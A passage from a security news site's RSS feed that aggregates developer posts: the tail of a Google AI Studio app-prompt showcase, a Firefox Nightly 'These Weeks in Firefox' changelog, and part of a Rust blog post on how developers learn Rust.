                <div>Build a small airplane "6-pack" instrument app for Google Pixel Watch. The 6 instruments should include attitude indicator, airspeed indicator, altimeter, turn coordinator, vertical speed indicator, and heading indicator. Use the Google Pixel Watch's sensors to power the instruments and display them clearly. Display one instrument at a time on the display. Swiping to the left or right should cycle through the instruments.</div>
            </td>
            <td><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRi7_vRI0TgaUYUE-g6kX-Gbg5Vf8ZVNY0H5n-2p8Ml32hyphenhyphenFvWAjp5re6AWpFKHLv1-rokBy_qfXexN61uQ9bpeDE_1DKfTrY3CkepiZMkNIEC5UlvBYng_OqersnyVS5Nu_zCuJJQ2w4NBaxWDC8duVnC0ILvWEpeg49N7aoJh1z6o_-BJHfBCnZKpz0/s320/wearOS_ai_studio.gif"></div><br></td>
        </tr>
    </tbody></table>

    <br><table border="1">
        <tbody><tr>
            <td colspan="2">Interactive Harmonium app on Google Pixel Fold</td>
        </tr>
        <tr>
            <td>
                <strong>Prompt:</strong><br>
                <div>Build a Harmonium app for Pixel Fold devices, which plays like the instrument based on the hinge angle and touch gestures. The app should simulate the bellows and reeds accurately.</div>
            </td>
            <td><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8hUGuJaj76omAAgO2RqZKZ_qGvgThfE0tKA-99BJ82G2UOw8h1qT5H7sM5C7n_k2tN5CD0LpJyOFor3HefsKarRPmWTo35ltnDihv2MsddEUcZN5t5fgeJWuJ60Y3XCEqqLhd7gkGyAbM6vnGau0PLE8BohPat8lQ-63fQLudrFUVRVpkFUJ9wMFX1oc/w179-h200/Tiny%20Harmonica%20demo.gif"></div></td>
        </tr>
    </tbody></table>

    <br><table border="1">
        <tbody><tr>
            <td colspan="2">An Android app for guitarists to become better musicians by jamming to backing tracks </td>
        </tr>
        <tr>
            <td>
                <strong>Prompt:</strong><br>
                <div><div><span>Build an Android guitar practice companion app that features a two-tab navigation system: 'Fretboard' and 'Library'.</span></div><div><span><br></span></div><div><span>The 'Fretboard' primary screen must contain an interactive guitar neck UI that visually maps out user-selected root notes, musical scales, and chords. Above the fretboard, implement a WebView-based YouTube player configured to play embedded videos inline. Additionally, include an AI generation feature that uses Retrofit to call Gemini Lyria 3 to create custom, 30-second backing tracks based on the user's currently selected key and scale. The generated audio files and their metadata must be saved locally using a database and displayed as a list in the 'Library' tab, where users can delete or play them.</span></div><div><span><br></span></div><div><span>Finally, implement a persistent, globally visible mini audio player at the bottom of the screen, complete with play/pause toggles, a progress slider for seeking, and timestamp text, allowing the user to seamlessly practice on the fretboard tab while listening to their tracks.</span></div><div><br></div></div>
            </td>
            <td><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2pWobL4G7-4deWwvMpRmtfHG1OuXyc_bHwq6fPszYT1Vztm4g_HaN28PVg6Hwd3_N2Qd82HS1QtpUGKCTUFiCuLBwMpcA-8sMC6dJtSDGKEVAaV1kxumYMZi3kTB9NnUIEf9xQPKyyfvKb8MZUyNGnYNAEHTxyHpWCEvN2xgQsj5X09LW_FHU1n0aJQg/w221-h400/guitar_app_AI_Studio.gif"></div></td>
        </tr>
    </tbody></table>

    We are looking forward to seeing what you build next!</div><div><br></div><div>Explore this announcement and all Google I/O 2026 updates on <a href="https://io.google/2026/?utm_source=blogpost&amp;utm_medium=pr&amp;utm_campaign=devblogs&amp;utm_content=">io.google</a>.</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Firefox Nightly: Giving You More Control – These Weeks in Firefox: Issue 204]]></title>
<description><![CDATA[Highlights

Maxx Crawford added a pref to hide the New Tab logo so users can opt out of branding without altering page layout or resorting to CSS overrides.
Harshit enabled video overlay detection in Nightly 153, allowing you to use the context menu to control videos on more pages! We plan on let...]]></description>
<link>https://tsecurity.de/de/3693293/tools/firefox-nightly-giving-you-more-control-these-weeks-in-firefox-issue-204/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693293/tools/firefox-nightly-giving-you-more-control-these-weeks-in-firefox-issue-204/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:31 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Highlights</h3>
<ul>
<li>Maxx Crawford <a href="https://bugzil.la/2041708">added a pref to hide the New Tab logo </a>so users can opt out of branding without altering page layout or resorting to CSS overrides.</li>
<li>Harshit <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2041819">enabled video overlay detection</a> in Nightly 153, allowing you to use the context menu to control videos on more pages! We plan on letting this ride out in Firefox 153.
<ul>
<li><a href="https://www.instagram.com/p/DXH8Rd6EcWo/">You can try it out on this Instagram reel</a> in Nightly</li>
</ul>
</li>
</ul>
<p><img alt="Firefox context menu video controls like Pause, Unmute, Speed and Loop." class="aligncenter size-full wp-image-2081" height="431" src="https://blog.nightly.mozilla.org/files/2026/06/image2-2.png" width="480"></p>
<ul>
<li>A note to WebExtension authors – as part of a <a href="https://blog.mozilla.org/addons/2026/04/23/webextensions-api-changes-firefox-149-152/">planned deprecation announced last month</a>, executeScript and insertCSS are now restricted from moz-extension pages starting in Firefox 152 –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2015559"> Bug 2015559</a></li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=557153">Nicolas Chevobbe [:nchevobbe]</a> added support and debugging for modern attr()(which is <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2038939">enabled on Nightly</a>) (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2014751">#2014751</a>)</li>
</ul>
<p><img alt="Tooltip in Firefox DevTools for mismatched syntax with attr()" class="aligncenter size-full wp-image-2082" height="164" src="https://blog.nightly.mozilla.org/files/2026/06/image1-2.png" width="872"></p>
<h3>Friends of the Firefox team</h3>
<h4><a href="https://bugzilla.mozilla.org/buglist.cgi?title=Resolved%20bugs%20(excluding%20employees)&amp;quicksearch=1717176%2C2031328%2C2038948%2C2011485%2C1455294%2C2035084%2C2039455%2C2036767%2C2039878%2C2013176%2C2022414%2C2036237%2C2036578%2C2041612%2C1262773&amp;list_id=17986996">Resolved bugs (excluding employees)</a></h4>
<p><a href="https://github.com/niklasbaumgardner/NewContributorScraper">Script to find new contributors from bug list</a></p>
<h4>Volunteers that fixed more than one bug</h4>
<ul>
<li>Sam Johnson</li>
<li>Sebastian Zartner [:sebo]</li>
</ul>
<h4>New contributors (🌟 = first patch)</h4>
<ul>
<li>Immaculate Atim: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2022414">Switch to using an array instead of an object string for browser.backup.enabled_on.profiles</a></li>
<li>liz: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2011485">Screenshots overlay visible on both splitview browsers</a></li>
<li>🌟 Rahman Mahmutović [:r_m]: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1717176">Can’t change content in box model in inspector for box-sizing:border-box elements</a></li>
<li>Takeru Mitsumori: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2038948">Fix typo in ID name about-translations-swap-langauges-icon in about-translations.html</a></li>
<li>🌟 Freya Arbjerg [:freyacodes]: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036767">Blackboxed columns are ignored</a></li>
<li> tom.passarelli: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031328">tab-preview-panel emits unpaired popupshown/popuphidden events, breaking sidebar autohide</a></li>
</ul>
<h3>Project Updates</h3>
<h4>Add-ons / Web Extensions</h4>
<h5>Addon Manager &amp; about:addons</h5>
<ul>
<li>As part of the work for the Project Nova about:addons page restyling, the about:addons sidebar has been migrated to the moz-page-nav and moz-page-nav-button reusable components, improving accessibility and visual consistency with the Firefox Desktop about:settings page –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1881767"> Bug 1881767</a></li>
</ul>
<h5>WebExtensions Framework</h5>
<ul>
<li>Implemented WebExtensions negative permissions infrastructure, providing the foundations for enterprise policy “blocked host permissions” features –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1745823"> Bug 1745823</a></li>
<li>Restricted host permission changes for MV3 extensions force-installed via enterprise policy (matching similar behaviors provided by Chrome enterprise policy behaviors) –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1904054"> Bug 1904054</a>
<ul>
<li>Thanks to Mike Kaply for the implementation of this enterprise policy enforcement feature.</li>
</ul>
</li>
</ul>
<h5>WebExtension APIs</h5>
<ul>
<li>Fixed handling of &lt;all_urls&gt; as an API permission in Manifest V3, ensuring the permission is correctly initialized on extension install –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1758306"> Bug 1758306</a></li>
</ul>
<h4>DevTools</h4>
<ul>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=789324">Rahman Mahmutović [:r_m]</a> made it possible to edit width/height in the box model section of the Layout panel (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1717176">#1717176</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=446518">Sebastian Zartner [:sebo]</a> improved toggling tools driving in-page highlighters (e.g. the Measuring) (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1262773">#1262773</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=446518">Sebastian Zartner [:sebo]</a> added a setting to control visibility of HTML comments in the markup view (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1455294">#1455294</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=789044">Freya Arbjerg [:freyacodes]</a> fixed an issue in script blackboxing (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036767">#2036767</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=283262">Alexandre Poirot [:ochameau]</a> replaced custom preference to log RDP messages with MOZ_LOG (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1622857">#1622857</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=283262">Alexandre Poirot [:ochameau]</a> fixed retrieval of garbage collected script text content (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1758454">#1758454</a>)</li>
</ul>
<h4>WebDriver</h4>
<ul>
<li>Sameem updated the “Take Element Screenshot” command from WebDriver Classic to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2013176">crop screenshots of elements which exceed the viewport</a>. This aligns with the specification and avoids errors when attempting to capture huge elements.</li>
<li>Alexandra Borovova updated the events for new top-level browsing contexts: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1930594">we will not send anymore “browsingContext.domContentLoaded” and “browsingContext.load” events for them, instead the “browsingContext.contextCreated” event will be sent when a tab is ready to be used</a>. This is required to align with the expected per-spec behavior.</li>
<li>Henrik Skupin landed a patch <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1430064">allowing geckodriver to gracefully shut down Firefox</a> when geckodriver itself is terminated.</li>
<li>Hiroyuki Ikezoe <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2040252">disabled Firefox’s “scroll axis lock” feature</a> so WebDriver actions for wheel input devices can scroll in arbitrary directions when using pan gestures.</li>
</ul>
<h4>Lint, Docs and Workflow</h4>
<ul>
<li>Added a rule to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1790711">prevent new uses of Preferences.sys.mjs</a>.</li>
<li>The browser environment globals within ESLint have <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1793814">now been updated</a>. These include Sanitizer, VideoFrame and a few other new ones.</li>
<li>Temporal, and some other definitions have been <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1999036">added to TypeScript</a>.</li>
</ul>
<h4>New Tab Page</h4>
<ul>
<li>Much has happened in the last 2 weeks! <a href="https://bugzilla.mozilla.org/buglist.cgi?bug_status=RESOLVED%2CVERIFIED%2CCLOSED&amp;resolution=FIXED&amp;chfieldfrom=2026-05-12T14%3A40%3A16.019Z&amp;chfieldto=Now&amp;bug_id=2015530%2C2024720%2C2028377%2C2028534%2C2033592%2C2035176%2C2036902%2C2037143%2C2037301%2C2037541%2C2037646%2C2037947%2C2038048%2C2038392%2C2038790%2C2038823%2C2038881%2C2038981%2C2038984%2C2039103%2C2039107%2C2039333%2C2039346%2C2039358%2C2039477%2C2039587%2C2039752%2C2039765%2C2039770%2C2039775%2C2039956%2C2039963%2C2040027%2C2040033%2C2040254%2C2040269%2C2040370%2C2040376%2C2040480%2C2040481%2C2040503%2C2040552%2C2040645%2C2040674%2C2040677%2C2041033%2C2041163%2C2041196%2C2041204%2C2041205%2C2041207%2C2041244%2C2041532%2C2041651%2C2041682%2C2041708%2C2041711%2C2041730%2C2041757%2C2041765%2C2041814%2C2042054&amp;product=Firefox&amp;component=New+Tab+Page">Here’s a full bug list</a>, and here are some highlights.</li>
<li>Dre fixed the List widget that was creating a new list too eagerly on the New Tab Page (<a href="https://bugzil.la/2033592">2033592</a>) — prevents accidental list creation and improves the Lists UI reliability.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2035176"> fixed Weather widget small card layout issues with opt-in location options and an error message displayed</a>, resolving card overflow and removing the spurious opt-in error so users see a compact Weather card and correct location prompts on New Tab.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2037301"> added key dates state to the Sports widget</a>, enabling the Sports card to surface event deadlines/key-date highlights on New Tab so sports users see timely date info.</li>
<li>Scott Downe<a href="https://bugzil.la/2037541"> added a manage widgets option to the New Tab nova widgets context menu</a>, giving users a direct context-menu entry to open the widget management flow from any widget with Nova enabled.</li>
<li>Scott Downe added a reusable Newtab widget base component to centralize lifecycle, focus/keyboard handling, DOM templates, and telemetry hooks, reducing duplication and making widget behavior more consistent; see<a href="https://bugzil.la/2037947"> Newtab widget base component</a>.</li>
<li>Dre converted per-widget expansion handling to a shared widget expansion handler to unify expand/collapse state management and prevent widgets from incorrectly retaining or losing expanded state; see<a href="https://bugzil.la/2038048"> Convert widget expansion handling to shared widget expansion</a>.</li>
<li>Nina Pypchenko [:nina-py]<a href="https://bugzil.la/2038881"> updated the Sports widget to populate the “follow teams” state from the /teams endpoint</a>, so follow/unfollow toggles now reflect server-side subscriptions and reduce incorrect follow states.</li>
<li>Scott Downe<a href="https://bugzil.la/2038981"> moved widget menu items</a> within New Tab widgets to standardize menu ordering and action grouping, so users find Add/Remove/Configure entries in expected positions across platforms.</li>
<li>Dre<a href="https://bugzil.la/2039346"> fixed a World Clock city search bug </a>for the word clocks widget, restoring expected search filtering/matching so city lookups return correct results.</li>
<li>Scott Downe fixed an issue where the New Tab small weather widget size change didn’t always apply by correcting the widget size update path (JS/CSS layout interactions), improving consistent rendering for small-tile weather across responsive breakpoints and platforms; see<a href="https://bugzil.la/2040033"> Newtab small weather widget size change doesn’t always work</a>.</li>
<li>Nina Pypchenko [:nina-py]<a href="https://bugzil.la/2040269"> added a group stage section to match highlights</a> in the sports widget on New Tab so users now see stage-aware grouping and stage labels on match highlight cards, making tournament context (group vs knockout) visible while browsing highlights.</li>
<li>Dre<a href="https://bugzil.la/2040376"> fixed the small world clock widget not expanding to large while editing clocks</a> so users can enter edit mode and expand the widget as expected; the change wires the edit-mode resize handler to update widget size/class during edits.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2040480"> added WCW OMC message strings</a> so World Cup widget messaging flows on New Tab now display the correct copy (localized where available) instead of falling back to missing-text behavior.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2040552"> added a “View all” button and a list view for the results tab at medium widget size</a> so Sports widget users on medium New Tab tiles can expand results and scroll full lists without resizing the widget.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2040674"> added WCW “Watch Live” stream strings to the Sports widget strings bundle</a> so the widget can surface a localized “Watch Live” CTA for applicable events.</li>
<li>Dre<a href="https://bugzil.la/2040677"> restored VoiceOver reachability for Edit/Remove in World Clock on macOS</a> so macOS VoiceOver users can now focus and activate clock Edit/Remove controls thanks to accessibility role/label and focus-order fixes.</li>
<li>Maxx Crawford removed the persistent browser logo when all new-tab features (Top Sites, widgets, content feed) are disabled by adding a conditional render guard in the New Tab component, preventing an orphaned logo (<a href="https://bugzil.la/2041033">2041033</a>).</li>
<li>Mike Conley added New Tab jest tests to the node tests Tier 1 CI job<a href="https://bugzil.la/2041757"> Run newtab jest tests as part of node tests Tier 1 job</a> to catch regressions earlier in CI</li>
<li>Irene Ni shipped multiple visual fixes for the Sports widget<a href="https://bugzil.la/2041765"> Sports widget – various visual fixes</a> (spacing, truncation, icon alignment, clipping) to improve readability and layout on constrained viewports.</li>
</ul>
<h4>Picture-in-Picture</h4>
<ul>
<li>kpatenio <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2041113">adjusted our YouTube site specific wrapper so that the URL bar toggle appears more reliably</a>, especially when selecting videos from the YouTube search page.</li>
<li>Thanks to Sylvestre for patching <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037420">some</a> <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2042141">bugs</a> to prevent some spurious console errors!</li>
<li>Niklas <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2013735">fixed captions on autopip videos failing to sync with the origin videos</a>.</li>
</ul>
<h4>Performance Tools (aka <a href="https://profiler.firefox.com/">Firefox Profiler</a>)</h4>
<ul>
<li>Firefox Profiler now has a CLI! We also added a profiler-analysis skill to the Firefox codebase. Once you capture a performance profile, you can ask Claude or an AI to analyze it by providing a link or local path. You can use it to analyze a performance regression or debug an issue if you have a profile at hand.
<ul>
<li><a href="https://www.npmjs.com/package/@firefox-devtools/profiler-cli">https://www.npmjs.com/package/@firefox-devtools/profiler-cli</a></li>
<li>You can install it with npm install -g @firefox-devtools/profiler-cli@latest</li>
</ul>
</li>
</ul>
<h4>Search and Urlbar</h4>
<h6>Nova UI refresh</h6>
<ul>
<li>Drew and Daisuke continued working on reorganizing styles and updating the urlbar for Nova.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2019154">2019154</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2019152">2019152</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2041501">2041501</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2040532">2040532</a></li>
</ul>
<h6>Suggest</h6>
<ul>
<li>Drew landed several Suggest improvements: realtime suggestions colors, sports suggestions received World Cup tweaks, and online Suggest via OHTTP was enabled for eligible users in Firefox 153.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2040561">2040561</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2039753">2039753</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035614">2035614</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2038843">2038843</a></li>
</ul>
<h6>Adaptive autofill</h6>
<ul>
<li>James fixed soft-block counting to track autofill dismisses, rather than consecutive backspaces on the same autofill, and added telemetry to measure URLs reintegration after blocking.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2040819">2040819</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037177">2037177</a></li>
</ul>
<h6>Quick actions</h6>
<ul>
<li>Dharma created a new Firefox Labs quick action, fixed the Update action button, and re-enabled ScotchBonnet in some tests that were not updated yet.</li>
<li>Caleb added Calculator support for certain unicode operators.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2023169">2023169</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1928635">1928635</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1923383">1923383</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033861">2033861</a></li>
</ul>
<h6>Multi Context Address Bar</h6>
<ul>
<li>Moritz continued refactoring the urlbar code: converted some of the js modules to not be system modules, fixed dynamic results templates, incorrect reuse of result rows, and keyboard shortcuts on the unified search button panel.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2039297">2039297</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036095">2036095</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2039844">2039844</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037933">2037933</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030050">2030050</a></li>
</ul>
<h6><i>Other</i></h6>
<ul>
<li>Marco, Drew and Daisuke fixed several intermittent test failures.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2038510">2038510</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2023908">2023908</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2011584">2011584</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1938142">1938142</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1971091">1971091</a></li>
</ul>
<h5>Search</h5>
<ul>
<li>Mark removed old WebExtension-based search engines from the source tree, removed loading of search add-ons from <i>resource://search-extensions/</i>.</li>
<li>Caleb fixed multiple documentation issues and added a test covering searches from a private window.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1904613">1904613</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035878">2035878</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037942">2037942</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033545">2033545</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2005724">2005724</a></li>
</ul>
<h5>Places</h5>
<ul>
<li>Marco removed some unnecessary database transactions, fixed the bookmarks panel folder dropdown on Windows, and resolved several intermittent test failures.</li>
<li>Thanks to Sam Johnson who fixed the bookmark edit panel showing “mobile” instead of “Mobile Bookmarks”.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2039534">2039534</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1505800">1505800</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2008829">2008829</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029541">2029541</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035084">2035084</a></li>
</ul>
<ul>
<li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Rust Programming Language Blog: The many journeys of learning Rust]]></title>
<description><![CDATA[This is another post in our series covering what we learned through the Vision Doc process. We previously described the overall approach and what we learned about doing user research, we explored what people love about Rust, dug into what it takes to ship safety-crticial Rust, and described some ...]]></description>
<link>https://tsecurity.de/de/3693289/tools/the-rust-programming-language-blog-the-many-journeys-of-learning-rust/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693289/tools/the-rust-programming-language-blog-the-many-journeys-of-learning-rust/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:24 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><em>This is another post in our series covering what we learned through the Vision Doc process. We previously <a href="https://blog.rust-lang.org/2025/12/03/lessons-learned-from-the-rust-vision-doc-process/" rel="external">described the overall approach and what we learned about doing user research</a>, we <a href="https://blog.rust-lang.org/2025/12/19/what-do-people-love-about-rust/" rel="external">explored what people love about Rust</a>, <a href="https://blog.rust-lang.org/2026/01/14/what-does-it-take-to-ship-rust-in-safety-critical/" rel="external">dug into what it takes to ship safety-crticial Rust</a>, and <a href="https://blog.rust-lang.org/2026/03/20/rust-challenges/" rel="external">described some of the major challenges that people face when using Rust</a>.</em></p>
<p>In this post we walk through what folks have found on their journey to learn the Rust programming language with ups and downs covered.</p>
<p>As a disclaimer, LLMs (Large Language Models) come up in this post because our interviewees brought them up. We're scoping discussion to their use as a learning tool, covering research and example generation, not broader questions about AI (Artificial Intelligence) in software development.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#many-paths-to-needing-rust"></a>
Many paths to needing Rust</h3>
<p>The interviews surfaced several different paths into Rust: curiosity, embedded work, job-market pressure, organizational adoption, and reassignment after a team or company chose Rust. That last path matters because many learners are not evaluating Rust from a blank slate; they are trying to become productive after Rust has already arrived in their work.</p>
<blockquote>
<p>"Funny enough, I've advocated for more niche languages than Rust in the past. Rust has pretty much stopped being as much of a niche language as it was, but it's not Java." -- Fractional CTO</p>
</blockquote>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#rust-learning-resources"></a>
Rust learning resources</h3>
<p>Likely as expected, the folks that we talked to reach for a range of resources to learn Rust. Some reach for official documentation, such as <a href="https://doc.rust-lang.org/book/" rel="external">The Rust Programming Language Book</a> and find that sufficient to build on what the compiler was already showing them.</p>
<blockquote>
<p>"I started with the official Rust documentation because there are a lot of great examples of how features like the borrow checker work." -- Software engineer at an Automotive supplier</p>
</blockquote>
<p>Others needed more passes and more formats, sometimes reaching for resources the community maintains, such as <a href="https://rustlings.rust-lang.org/" rel="external">Rustlings</a>, <a href="https://danielkeep.github.io/tlborm/book/index.html" rel="external">The Little Book of Rust Macros</a>, and <a href="https://rust-unofficial.github.io/too-many-lists/" rel="external">Learn Rust With Entirely Too Many Linked Lists</a>.</p>
<blockquote>
<p>"The first time I went through the chapter in [The Rust Programming Language] on borrow checking, I was like, what is this? I read it again, then I watched a YouTube video of someone explaining the chapter." -- Rust freelance consultant</p>
</blockquote>
<blockquote>
<p>"Rust book, Rustlings, Zero to Production in Rust, Jon Gjengset tutorials. A bunch of books. It's not a one-pass reading. Can't say how many times I've gone through it." -- Software engineer working on video streaming and storage</p>
</blockquote>
<p>These resources have brought up an entire generation of Rust programmers. But, to some, there is a perception that these resources have trouble keeping pace with the language.</p>
<blockquote>
<p>"We'd like to use [The Rust Programming Language/'the book'], but we've found that it's out of date, unfortunately. We've looked at the GitHub repo and found it's got a lot of unresolved issues and unmerged PRs" -- Principal Software Engineering work on Rust adoption in a regulated industry</p>
</blockquote>
<p>Whether or not this is factually true, Rust's growth has nonetheless put more scrutiny on these materials. Companies evaluating adoption and engineers getting reassigned to Rust teams are looking at them with fresh eyes and finding the gaps that affect their own evaluation.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#beginner-stumblings-and-unlearning-habits"></a>
Beginner stumblings and unlearning habits</h3>
<p>It's pretty typical for Rust to be the 2nd, 3rd or Nth programming language that someone picks up. They'd end up writing their most familiar language in Rust, whether C++ patterns, Java patterns, or whatever they knew, for months or even years. Eventually they got comfortable enough to start writing idiomatic Rust.</p>
<blockquote>
<p>"There's a bit of a drop in productivity compared to C if you're already familiar with it just because you're learning new rules, new syntax."  -- Principal Firmware Engineer (mobile robotics)</p>
</blockquote>
<blockquote>
<p>"In the beginning it was more poking around the code and adding and removing some ampersands and asterisks to try to make sense of <code>mut</code> and not <code>mut</code> and whatever." -- Senior engineer with 20 years of Java experience in cloud and IoT</p>
</blockquote>
<p>We also spoke with someone who found that not having much of a programming background seemed to benefit people picking up Rust. Not having worn-in grooves from other languages may play a role here, and it's worth investigating further.</p>
<blockquote>
<p>"I had someone who had never programmed much before start working on the internals of [our Rust project]. She was just fine with getting into Rust. It's more of the senior people that struggle as they need to unlearn practices which may work in other languages, but it's not the 'Rust' way." -- Researcher, Automotive OEM R&amp;D Lab</p>
</blockquote>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#learning-to-work-with-the-borrow-checker"></a>
Learning to work with the borrow checker</h3>
<p>We heard a lot about learning to work with the borrow checker instead of against it. People get there through different paths, but a few patterns came up repeatedly.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#the-compiler-as-teacher"></a>
The compiler as teacher</h4>
<p>Rust's diagnostics did the teaching on their own, especially around lifetimes.</p>
<blockquote>
<p>"If you mess up the lifetimes in a piece of code that you've written by hand, I usually find that Rust's diagnostics are very helpful" -- Researcher working on static analysis of Rust programs</p>
</blockquote>
<blockquote>
<p>"Whatever's missing, the compiler usually fills in: it tells me 'you need to declare the lifetime of this reference', so I know and can figure it out. That all generally works pretty well." -- Senior Software Engineer</p>
</blockquote>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#learning-by-doing"></a>
Learning by doing</h4>
<p>Others felt like they only really internalized the borrow checker after writing a lot of Rust. It took projects, coding challenges, prototyping and so on until at some point it clicked.</p>
<blockquote>
<p>"I actually did not understand the borrow checker until I spent a lot of time writing Rust" -- Founder of a startup built on Rust</p>
</blockquote>
<blockquote>
<p>"Besides the prototyping work, I also did coding-challenge-type stuff to get familiar with Rust for Advent of Code. [..] It eventually clicked to the point where I wasn't fighting with Rust, it was working for me. I had that experience other people describe: when I managed to get my program to fit with Rust, it worked. I didn't spend time debugging." -- Principal Software Engineer, large SaaS provider</p>
</blockquote>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#letting-go-of-clone-guilt"></a>
Letting go of "clone guilt"</h4>
<p>Some learners arrive with the assumption that good Rust means zero clones, zero copies, lifetimes threaded through everything. They set the bar at optimal before they've learned how to write idiomatic Rust, and it makes the borrow checker feel harder than it needs to be at the outset.</p>
<blockquote>
<p>"On one of my first projects, I was like, 'I don't ever want to copy or clone anything,' so I carefully wove through all the lifetimes and got myself into a bit of a bind. Then I saw someone else just cloning the struct I was working with, and it was super cheap. Sometimes you can just clone and it's going to be okay." -- Researcher at a university</p>
</blockquote>
<p>The experienced Rust developers we spoke with consistently said the same thing: clone freely while you're learning, then optimize when you understand the problem. Rust's reputation for performance and correctness feeds this. Newcomers assume anything less than optimal is wrong before they've written a first working program, and clone guilt is how that shows up.</p>
